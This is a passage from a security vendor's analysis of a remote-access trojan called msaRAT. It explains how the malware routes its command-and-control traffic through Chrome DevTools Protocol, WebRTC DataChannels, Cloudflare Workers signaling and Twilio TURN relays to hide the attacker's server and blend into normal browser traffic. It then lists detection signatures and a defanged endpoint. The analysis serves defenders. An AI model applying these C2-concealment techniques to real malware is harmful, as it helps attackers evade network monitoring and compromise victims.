For WebRTC communication to occur, both parties must first agree on which address to connect to and which format to use for communication. To that end, the malware generates a WebRTC SDP Offer (containing the communication parameters) and gathers ICE candidates to determine the optimal connection path. Once gathering is complete, the SDP Offer is POSTed to the C2 server, which returns an SDP Answer. Applying the C2 server's SDP via setRemoteDescription establishes the WebRTC DataChannnel connection. If ICE candidate gathering does not complete within five seconds, a timeout is triggered and it forcibly executes.
Figure 17. ICE candidate gathering and SDP negotiation.
Figures 18 and 19 show the actual POST /token/v1/{UID} request and response. The response contains the attacker's SDP Answer, which includes no ICE candidates, with the connection address set to “0.0.0.0”. By intentionally omitting the ICE candidates that are normally present in standard WebRTC communications, P2P connections are prevented from being established, resulting in a design where all communications are always routed through TURN. By routing traffic through Twilio's legitimate service, the real IP address of the attacker's server never appears in the network traffic, and the dual-layer infrastructure combining Twilio with Cloudflare Workers makes it significantly difficult to trace the attacker's infrastructure.
Figure 18. POST /token/v1/{UID} request (excerpt).Figure 19. Response to POST /token/v1/{UID} request (excerpt).
5. Data conversion helper and random string generation
When sending data from the RAT to the browser, the CDP Runtime.evaluate can only pass strings. However, the actual data transmitted over the WebRTC DataChannel is binary data (ArrayBuffer). The function Base64ToArrayBuffer is responsible for handling this conversion.
Figure 20. Data conversion helper.
6. Send queue and flow control
The WebRTC DataChannel has a send buffer, and continuously sending data can result in new data being dropped. To address this issue, the attacker has implemented a queue and flow control mechanism. Data is dequeued and sent when the buffer drops below 24KB. This design is likely intended to ensure reliable delivery of large payloads such as screenshots or file transfers to the C2.
Figure 21. Send queue and flow control.
The second function is dedicated to data transmission and is injected on demand via Runtime.evaluate each time the RAT sends a command to the C2 through the browser. The actual payload is embedded in place of {base64}.
Figure 22. Function used for data transmission to the C2.
After the RAT injects JavaScript via Runtime.evaluate, control of the main processing shifts to the browser. The RAT enters a waiting loop monitoring the CDP WebSocket, continuously listening for events from the browser. The establishment and disconnection of the WebRTC connection, as well as data reception, are all handled by JavaScript running within the browser. To relay the results of this processing back to the RAT, the registered bindings such as window.msaOpen() and window.msaMessage(base64Data) are called. Each time a binding is called, CDP emits a Runtime.bindingCalled event to the RAT over WebSocket. The JSON format of this event is as follows:
Figure 23. JSON format of Runtime.bindingCalled (example).
The params object contains two fields: name (a string indicating which binding was called) and payload (the argument passed from JavaScript). Based on the value of the name field, the RAT switches its subsequent behavior accordingly.
Table 3. Values of the name field and corresponding RAT behavior.
Communication encryption
By specification, the WebRTC DataChannel communication path is automatically protected by DTLS (transport-layer encryption), which is handled entirely by the browser and is independent of the RAT's code. Separately, msaRAT encrypts the data itself using a ChaCha-Poly1305-based encryption scheme before passing it to the browser, resulting in double-layer encryption. This design ensures that even if DTLS is stripped, an adversary-in-the-middle cannot read the contents. The ChaCha-Poly1305-based encryption key is derived through an ECDH key exchange performed at the time the C2 connection is established. When a Handshake frame (0xFE) is received from the C2 immediately after connection, the RAT receives the C2 server's public key, generates its own key pair, derives a shared key and then sends its own public key back to the C2.
While a simple implementation would receive a command number and invoke the corresponding handler, this RAT employs a two-layer structure: an outer layer that manages connection state and an inner layer that processes frames. These are shown in Tables 4 and 5.
Figure 25 illustrates the communication flow between msaRAT, Cloudflare Workers, Twilio TURN, and the C2 server.
Figure 25. Communication flow among msaRAT, Cloudflare Workers, Twilio TURN, and the C2.
msaRAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint (“is-01-ast[.]ols-img-12[.]workers[.]dev”), but rather than making HTTP connections to this domain itself, it offloads that entirely to the browser. This endpoint is dedicated solely to signaling relay (SDP Offer/Answer exchange) for establishing a WebRTC connection; once the WebRTC connection is established, Cloudflare Workers drops out of the communication path entirely. All subsequent C2 commands are exchanged exclusively over the WebRTC DataChannel.
The likely rationale for choosing Cloudflare Workers as the signaling relay is that the destination is Cloudflare's infrastructure rather than an attacker-owned server, meaning the destination IP addresses fall within Cloudflare's CDN ranges and will pass through many firewall and proxy allowlists without inspection. Furthermore, “*.workers.dev” is a platform domain provided by Cloudflare for developers, and blocking it would broadly impact legitimate Cloudflare Workers deployments making it structurally difficult for defenders to block. In addition, as we mentioned, communications are double-encrypted.
As a result of this design, all network communication from the RAT process itself is limited to “127.0.0[.]1”, and all external communications are observed as originating from a legitimate browser process. Since browser-based WebRTC communication is commonplace even in enterprise environments, C2 traffic is effectively buried within normal web traffic from the perspective of firewalls and network monitoring tools.
Coverage
The following ClamAV signatures detect and block this threat:
Win.Downloader.ChaosRaas-10060321-0
The following SNORT® rules (SIDs) detect and block this threat:
Snort 2: 1:66840, 1:66841, 1:66839
Snort 3: 1:301587, 1:66839
Indicators of compromise (IoCs)
The IOCs can also be found in our GitHub repository here.
Entrar
![[Webinar] Tales from the Frontlines: An exclusive briefing on Q2 incidents](https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/08/2-1-no-copy.jpg)
